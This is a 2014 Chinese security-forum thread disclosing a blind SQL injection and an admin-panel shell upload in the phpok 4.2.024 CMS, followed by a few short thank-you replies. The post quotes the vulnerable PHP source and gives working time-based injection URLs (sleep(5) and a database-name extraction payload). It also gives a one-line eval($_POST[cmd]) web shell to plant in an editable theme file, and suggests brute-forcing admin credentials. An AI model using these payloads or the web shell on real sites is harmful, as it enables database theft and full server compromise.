查看: 13415|回复: 4

phpok4.2.024一处盲注+后台getshell

[复制链接]
  • TA的每日心情

    2024-12-14 22:22
  • 签到天数: 1631 天

    [LV.Master]伴坛终老

    发表于 2014-12-19 16:44:28 | 显示全部楼层 |阅读模式
    form:SLAckEr

    文件/framework/www/post_control.php 26-38行
    [AppleScript] 纯文本查看 复制代码
    function index_f()
    {
    $id = $this->get("id");
    $pid = $this->get('pid');
    if(!$id && !$pid)
    {
    error(P_Lang('未指定项目'),'','error');
    }
    $project_rs = $this->call->phpok('_project',array("phpok"=>$id,'pid'=>$pid));
    if(!$project_rs || !$project_rs['module'])
    {
    error(P_Lang("项目不符合要求"),'','error');
    }


    id和pid传进来了,
    phpok('_project',array("phpok"=>$id,'pid'=>$pid));
    跟进phpok
    /framework/phpok_call.php

    [AppleScript] 纯文本查看 复制代码
    function phpok($id,$rs="")
    {
    if(!$id) return false;
    $cacheId = '';
    $content = '';
    if($rs && is_string($rs)) parse_str($rs,$rs);
    //判断是否启用缓存,启用后直读缓存信息
    if($GLOBALS['app']->cache->status())
    {
    $cacheId = $GLOBALS['app']->cache->key(array('id'=>$id,'rs'=>$rs),$this->site['id'],"call");
    $content = $GLOBALS['app']->cache->read($cacheId);
    }
    if($content) return $content;
    //判断是内置参数还是调用数据中心的数据
    if(substr($id,0,1) != '_')
    {
    $call_rs = $GLOBALS['app']->model('call')->get_rs($id,$this->site['id']);
    if(!$call_rs) return false;
    if($call_rs['ext'])
    {
    $call_rs_ext = unserialize($call_rs['ext']);
    unset($call_rs['ext'],$call_rs['id']);
    if($call_rs_ext) $call_rs = array_merge($call_rs_ext,$call_rs);
    }
    if($rs && is_array($rs)) $call_rs = array_merge($call_rs,$rs);
    }
    else
    {
    if(!$rs || !is_array($rs)) return false;
    //arclist,文章列表
    //arc,单篇文章信息
    //cate,分类信息
    //catelist,分类树
    //project,项目信息
    //sublist,子项目信息
    //parent,父级项目信息
    //plist,同级项目信息
    //fields,字段表单
    //user,会员
    //userlist,会员列表
    //total,文章总数
    //cate_id,当前分类信息(不带项目,不生成链接)
    //subcate,子分类信息,即当前分类下的子分类
    $list = array('arclist','arc','cate','catelist','project','sublist','parent','plist','fields','user','userlist','total','cate_id','subcate');
    $id = substr($id,1);
    //如果是arclist,且未定义is_list属性,则默认启用此属性
    if($id == "arclist")
    {
    $rs["is_list"] = $rs["is_list"] == 'false' ? 0 : 1;
    }
    if(!$id || !in_array($id,$list)) return false;
    $call_rs = array_merge($rs,array('type_id'=>$id));
    }
    $content = $this->load_call($call_rs);
    if($content && $cacheId) $GLOBALS['app']->cache->write($cacheId,$content);
    return $content;
    }

    就是调用一个函数

    那看
    phpok('_project',array("phpok"=>$id,'pid'=>$pid));

    跟_project这个函数
    /framework/model/data.php 1118-1139
    [AppleScript] 纯文本查看 复制代码
    public function _project($id,$ext=false)
    {
    if($this->cdata['project'][$id])
    {
    $rs = $this->cdata['project'][$id];
    }
    else
    {
    $sql = "SELECT * FROM ".$this->db->prefix."project WHERE id=".$id;
    $rs = $this->db->get_one($sql);
    //if(!$this->cdata['project'])
    //echo $id.'---'.$rs;
    $this->cdata['project'][$id] = $rs;
    }
    if(!$rs) return false;
    if($ext)
    {
    $ext = $this->ext_all('project-'.$id);
    if($ext) $rs = array_merge($ext,$rs);
    }
    return $rs;
    }

    id没有过滤,直接带入了sql。
    http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41
    这个pid是项目的id值,默认是41以上,包括41,也可以爬一下。
    http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41 and sleep(5)

    浏览器转5秒

    http://127.0.0.1/phpok4.2.024/in ... amp;id=1&pid=41 and 1=if((ord(substr(database(),1,1))=112),sleep(5),1)
    这个语句应该晓得吧,database的第一个字符的asicc码为112则浏览器转5秒,反之直接返回页面。
    然后扩展一下,_project这个函数有问题,我们可以全局搜索一下,还有哪里调用了_project然后再继续发掘漏洞
    就不继续测试了,这里的修补方式就是对_project这个函数做过滤。
    想搞出管理员的账号密码burp跑一下就可以了

    后台getshell

    风格管理
    可以编辑这个php文件

    插入?><?php phpinfo();?><? 或?><?php eval($_POST[cmd])?><?
    回复

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-7-31 10:41
  • 签到天数: 43 天

    [LV.5]常住居民I

    发表于 2014-12-20 17:32:34 | 显示全部楼层
    感谢楼主分享
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-8-27 01:19
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2014-12-20 21:54:55 | 显示全部楼层
    谢谢90大牛分享 可惜还看不懂
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-4-24 14:55
  • 签到天数: 54 天

    [LV.5]常住居民I

    发表于 2014-12-21 21:50:37 | 显示全部楼层
    感谢分享。代码审计还是要学好php
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2014-12-23 09:38:01 | 显示全部楼层
    这个分享的真好
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 05:19 , Processed in 0.021606 second(s), 12 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部